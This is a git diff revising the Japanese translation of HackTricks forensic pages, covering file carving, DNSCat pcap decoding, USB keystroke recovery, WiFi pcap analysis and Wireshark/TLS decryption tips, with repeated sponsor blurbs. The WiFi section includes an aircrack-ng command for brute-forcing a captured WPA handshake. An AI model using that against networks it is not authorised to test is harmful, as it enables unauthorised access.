-**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル(_/etc/scalpel/scalpel.conf_)からコメントアウトする必要があります。 +**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを構成ファイル(_/etc/scalpel/scalpel.conf_)からコメントアウトする必要があります。 ```bash sudo apt-get install scalpel scalpel file.img -o output @@ -60,17 +60,17 @@ scalpel file.img -o output このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) -このツールは画像をスキャンし、**その中からpcapsを抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**や**その他のファイル**を取得することができます。行う必要があるのは以下の通りです: +このツールは画像をスキャンし、その中に含まれる**pcapsを抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**や他の**ファイル**を取得することができます。以下の手順のみを実行する必要があります: ``` bulk_extractor memory.img -o out_folder ``` ### PhotoRec -[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で入手できます。 +[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で見つけることができます。 -GUI と CLI バージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。 +GUI と CLI のバージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。 -![](<../../../.gitbook/assets/image (524).png>) +![](<../../../.gitbook/assets/image (242).png>) ### binvis @@ -82,10 +82,10 @@ GUI と CLI バージョンがあります。PhotoRec が検索する**ファイ - 異なる焦点点のための複数のプロット - サンプルの一部に焦点を当てる - PE や ELF 実行可能ファイル内の**文字列やリソース**を見る -- ファイルの暗号解析のための**パターン**を取得 -- パッカーやエンコーダーアルゴリズムを**特定** -- パターンによるステガノグラフィを**識別** -- バイナリの差分を**視覚化** +- ファイルの暗号解読のための**パターン**を取得 +- パッカーやエンコーダーアルゴリズムを**見つける** +- パターンによるステガノグラフィを**特定する** +- **ビジュアル**バイナリ差分 BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。 @@ -93,11 +93,11 @@ BinVis は、ブラックボックスシナリオで未知のターゲットに ### FindAES -TrueCrypt や BitLocker で使用されるような 128、192、256 ビットのキーを見つけるために、キースケジュールを検索することで AES キーを検索します。 +TrueCrypt や BitLocker で使用されるような 128、192、256 ビットの鍵を見つけるために、鍵スケジュールを検索することで AES 鍵を検索します。 -[こちらからダウンロード](https://sourceforge.net/projects/findaes/) +[こちらからダウンロード](https://sourceforge.net/projects/findaes/)できます。 -## 付随するツール +## 補足ツール -ターミナルから画像を表示するために [**viu** ](https://github.com/atanunq/viu)を使用できます。\ -Linux コマンドラインツール **pdftotext** を使用して、PDF をテキストに変換して読むことができます。 +画像を端末から見るために [**viu** ](https://github.com/atanunq/viu)を使用できます。\ +Linux コマンドラインツール **pdftotext** を使用して、pdf をテキストに変換して読むことができます。 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index 540df6744..e7bc802ae 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,30 +1,32 @@ +# DNSCat pcap analysis + ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で **フォロー**する。 -* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** -### [WhiteIntel](https://whiteintel.io) +#### [WhiteIntel](https://whiteintel.io) - + -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、**盗難マルウェア**による**侵害**を受けたかどうかを確認する**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** DNSCatによって**暗号化を使用せずに**データが**外部に送信**されるpcapを持っている場合、外部に送信されたコンテンツを見つけることができます。 @@ -47,24 +49,23 @@ last = qry #print(f) ``` -詳細については: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) - -Python3で動作するスクリプトがあります: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) +There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。** -* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出する。** +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 88730efec..e6948caf0 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,39 +1,39 @@ +# USB キーストローク + -ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +**htARTE (HackTricks AWS Red Team Expert)** で **ゼロからヒーローまで AWS ハッキングを学ぶ** HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で **フォロー**する。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する。 +- **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +- [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +- **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする +- **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに貢献する - -USBキーボードの通信を含むpcapファイルがある場合、次のようなキーボードの通信を解析するために、[**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser)ツールを使用できます: +USB キーボードの通信を含む pcap ファイルがある場合、以下のようなキーボードの通信を解析するために [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) ツールを使用できます: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` -以下のリンクから詳細情報や解析スクリプトを見つけることができます: +以下のリンクから詳細情報を読むことができ、解析に使用するスクリプトも見つけることができます: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - +* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup) -htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**する。 -* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。 +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index 13f0b86fd..63ce2b525 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,50 +1,63 @@ +# Wifi Pcap Analysis + ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +## BSSIDの確認 -# BSSIDの確認 +WireSharkを使用してWifiの主要なトラフィックを含むキャプチャを受信した場合、キャプチャ内のすべてのSSIDを調査を開始することができます。_Wireless --> WLAN Traffic_: -WireSharkを使用してWifiの主要トラフィックを含むキャプチャを受信した場合、_Wireless --> WLAN Traffic_ でキャプチャのすべてのSSIDを調査を開始できます: +![](<../../../.gitbook/assets/image (106).png>) -![](<../../../.gitbook/assets/image (424).png>) +![](<../../../.gitbook/assets/image (492).png>) -![](<../../../.gitbook/assets/image (425).png>) +### ブルートフォース -## ブルートフォース - -その画面の列の1つは、**pcap内で認証が見つかったかどうか**を示します。その場合、`aircrack-ng`を使用してブルートフォースできます: +その画面の列の1つは、**pcap内で認証情報が見つかったかどうか**を示しています。その場合、`aircrack-ng`を使用してブルートフォース攻撃を試みることができます。 ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` -# ビーコン/サイドチャネル内のデータ +## ビーコン/サイドチャネル内のデータ -例えば、後でトラフィックを復号化するために必要となるPSK(事前共有キー)を保護するWPAパスフレーズを取得します。 +**Wifiネットワークのビーコン内でデータが漏洩している**と疑う場合は、次のようなフィルタを使用してネットワークのビーコンをチェックできます: `wlan contains `、または `wlan.ssid == "NAMEofNETWORK"`。フィルタされたパケット内で疑わしい文字列を検索します。 -**ビーコン内でデータが漏洩している**と疑う場合、次のようなフィルタを使用してネットワークのビーコンをチェックできます: `wlan contains `、または `wlan.ssid == "NAMEofNETWORK"`。フィルタされたパケット内で疑わしい文字列を検索します。 +## Wifiネットワーク内の不明なMACアドレスを見つける -# Wifiネットワーク内の不明なMACアドレスを見つける - -次のリンクは、**Wifiネットワーク内でデータを送信しているマシン**を見つけるのに役立ちます: +次のリンクは、**Wifiネットワーク内でデータを送信している機器を見つける**のに役立ちます: * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` すでに**MACアドレスを知っている場合は、それらを出力から削除**するために、次のようなチェックを追加できます: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -ネットワーク内で通信している**不明なMAC**アドレスを検出したら、次のような**フィルタ**を使用できます: `wlan.addr== && (ftp || http || ssh || telnet)`。ftp/http/ssh/telnetフィルタは、トラフィックを復号化している場合に有用です。 +ネットワーク内で通信している**不明なMAC**アドレスを検出したら、次のような**フィルタ**を使用できます: `wlan.addr== && (ftp || http || ssh || telnet)`。ftp/http/ssh/telnetフィルタは、トラフィックを復号化済みの場合に有用です。 -# トラフィックの復号化 +## トラフィックの復号化 編集 --> 設定 --> プロトコル --> IEEE 802.11 --> 編集 -![](<../../../.gitbook/assets/image (426).png>) +![](<../../../.gitbook/assets/image (499).png>) + + + +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちら! + +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 + + diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index c44619634..2b9530307 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -2,7 +2,7 @@ -htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! +htARTE(HackTricks AWS Red Team Expert) htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ! HackTricksをサポートする他の方法: @@ -10,15 +10,15 @@ HackTricksをサポートする他の方法: - [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする -- **Hackingトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 ### [WhiteIntel](https://whiteintel.io) - + -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 @@ -26,67 +26,67 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン {% embed url="https://whiteintel.io" %} ---- +*** ## Wiresharkスキルの向上 ### チュートリアル -以下のチュートリアルは、いくつかのクールな基本的なトリックを学ぶのに素晴らしいです: +次のチュートリアルは、いくつかのクールな基本的なトリックを学ぶのに素晴らしいです: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### 分析された情報 +### 分析情報 **専門家情報** -_Analyze_ --> _Expert Information_をクリックすると、**分析された**パケットで何が起こっているかの**概要**が表示されます: +_Analyze_ --> **Expert Information**をクリックすると、**分析された**パケットで何が起こっているかの**概要**が表示されます: -![](<../../../.gitbook/assets/image (253).png>) +![](<../../../.gitbook/assets/image (256).png>) -**解決されたアドレス** +**解決済みアドレス** -_Statistics_ --> _Resolved Addresses_の下には、wiresharkによって**解決された**ポート/トランスポートからプロトコル、MACから製造業者など、いくつかの**情報**が表示されます。通信に関わるものを知ることは興味深いです。 - -![](<../../../.gitbook/assets/image (890).png>) - -**プロトコル階層** - -_Statistics_ --> _Protocol Hierarchy_の下には、通信に関与する**プロトコル**とそれに関するデータが表示されます。 - -![](<../../../.gitbook/assets/image (583).png>) - -**会話** - -_Statistics_ --> _Conversations_の下には、通信中の**会話の要約**とそれに関するデータが表示されます。 - -![](<../../../.gitbook/assets/image (450).png>) - -**エンドポイント** - -_Statistics_ --> _Endpoints_の下には、通信中の**エンドポイントの要約**とそれぞれに関するデータが表示されます。 +_Statistics --> Resolved Addresses_の下には、wiresharkによって**解決された**ポート/トランスポートからプロトコル、MACから製造業者など、いくつかの**情報**が表示されます。通信に関わるものを知ることは興味深いです。 ![](<../../../.gitbook/assets/image (893).png>) +**プロトコル階層** + +_Statistics --> Protocol Hierarchy_の下には、通信に関与する**プロトコル**とそれに関するデータが表示されます。 + +![](<../../../.gitbook/assets/image (586).png>) + +**会話** + +_Statistics --> Conversations_の下には、通信中の**会話の要約**とそれに関するデータが表示されます。 + +![](<../../../.gitbook/assets/image (453).png>) + +**エンドポイント** + +_Statistics --> Endpoints_の下には、通信中の**エンドポイントの要約**とそれぞれに関するデータが表示されます。 + +![](<../../../.gitbook/assets/image (896).png>) + **DNS情報** -_Statistics_ --> _DNS_の下には、キャプチャされたDNSリクエストに関する統計が表示されます。 +_Statistics --> DNS_の下には、キャプチャされたDNSリクエストに関する統計が表示されます。 -![](<../../../.gitbook/assets/image (1060).png>) +![](<../../../.gitbook/assets/image (1063).png>) **I/Oグラフ** -_Statistics_ --> _I/O Graph_の下には、通信の**グラフ**が表示されます。 +_Statistics --> I/O Graph_の下には、通信の**グラフ**が表示されます。 -![](<../../../.gitbook/assets/image (989).png>) +![](<../../../.gitbook/assets/image (992).png>) -### フィルタ +### フィルター -ここでは、プロトコルに応じたWiresharkフィルタを見つけることができます:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -他の興味深いフィルタ: +ここでは、プロトコルに応じたWiresharkフィルターを見つけることができます:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +他の興味深いフィルター: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - HTTPおよび初期HTTPSトラフィック @@ -97,7 +97,7 @@ _Statistics_ --> _I/O Graph_の下には、通信の**グラフ**が表示され ### 検索 -セッションのパケット内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。右ボタンを押してから列を編集することで、メイン情報バーに新しいレイヤーを追加できます(番号、時間、ソースなど)。 +セッションのパケット内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。右ボタンを押してから列を編集して、メイン情報バーに新しいレイヤーを追加できます(番号、時間、ソースなど)。 ### 無料のpcapラボ @@ -107,7 +107,7 @@ _Statistics_ --> _I/O Graph_の下には、通信の**グラフ**が表示され Host HTTPヘッダーを表示する列を追加できます: -![](<../../../.gitbook/assets/image (635).png>) +![](<../../../.gitbook/assets/image (639).png>) そして、初期化HTTPS接続からサーバー名を追加する列を追加できます(**ssl.handshake.type == 1**): @@ -119,35 +119,35 @@ Host HTTPヘッダーを表示する列を追加できます: 現在のWiresharkでは、`bootp`の代わりに`DHCP`を検索する必要があります -![](<../../../.gitbook/assets/image (1010).png>) +![](<../../../.gitbook/assets/image (1013).png>) ### NBNSから -![](<../../../.gitbook/assets/image (1000).png>) +![](<../../../.gitbook/assets/image (1003).png>) ## TLSの復号化 -### サーバーのプライベートキーを使用してhttpsトラフィックを復号化 +### サーバーの秘密鍵を使用してhttpsトラフィックを復号化する _edit>preference>protocol>ssl>_ -![](<../../../.gitbook/assets/image (1100).png>) +![](<../../../.gitbook/assets/image (1103).png>) _Edit_を押して、サーバーとプライベートキーのすべてのデータ(_IP、ポート、プロトコル、キーファイル、パスワード_)を追加します -### 対称セッションキーを使用してhttpsトラフィックを復号化 +### 対称セッションキーを使用してhttpsトラフィックを復号化する -FirefoxとChromeの両方には、TLSセッションキーを記録する機能があり、これをWiresharkで使用してTLSトラフィックを復号化できます。これにより、セキュアな通信の詳細な分析が可能になります。この復号化を実行する方法の詳細については、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドで見つけることができます。 +FirefoxとChromeの両方には、TLSセッションキーを記録できる機能があり、これをWiresharkで使用してTLSトラフィックを復号化できます。これにより、セキュアな通信の詳細な分析が可能になります。この復号化を実行する方法の詳細については、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドで見つけることができます。 これを検出するには、環境内で`SSLKEYLOGFILE`変数を検索します 共有キーのファイルは次のようになります: -![](<../../../.gitbook/assets/image (817).png>) +![](<../../../.gitbook/assets/image (820).png>) -Wiresharkにこれをインポートするには、\_edit > preference > protocol > ssl > に移動し、(Pre)-Master-Secretログファイル名にインポートします: +これをWiresharkにインポートするには、\_edit > preference > protocol > ssl > に移動し、(Pre)-Master-Secretログファイル名にインポートします: -![](<../../../.gitbook/assets/image (986).png>) +![](<../../../.gitbook/assets/image (989).png>) ## ADB通信 APKが送信されたADB通信からAPKを抽出します: @@ -179,27 +179,26 @@ f.close() ``` ### [WhiteIntel](https://whiteintel.io) - + -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業や顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} - -**htARTE (HackTricks AWS Red Team Expert)**を使って、ゼロからヒーローまでAWSハッキングを学ぶ +**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロードしたり**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 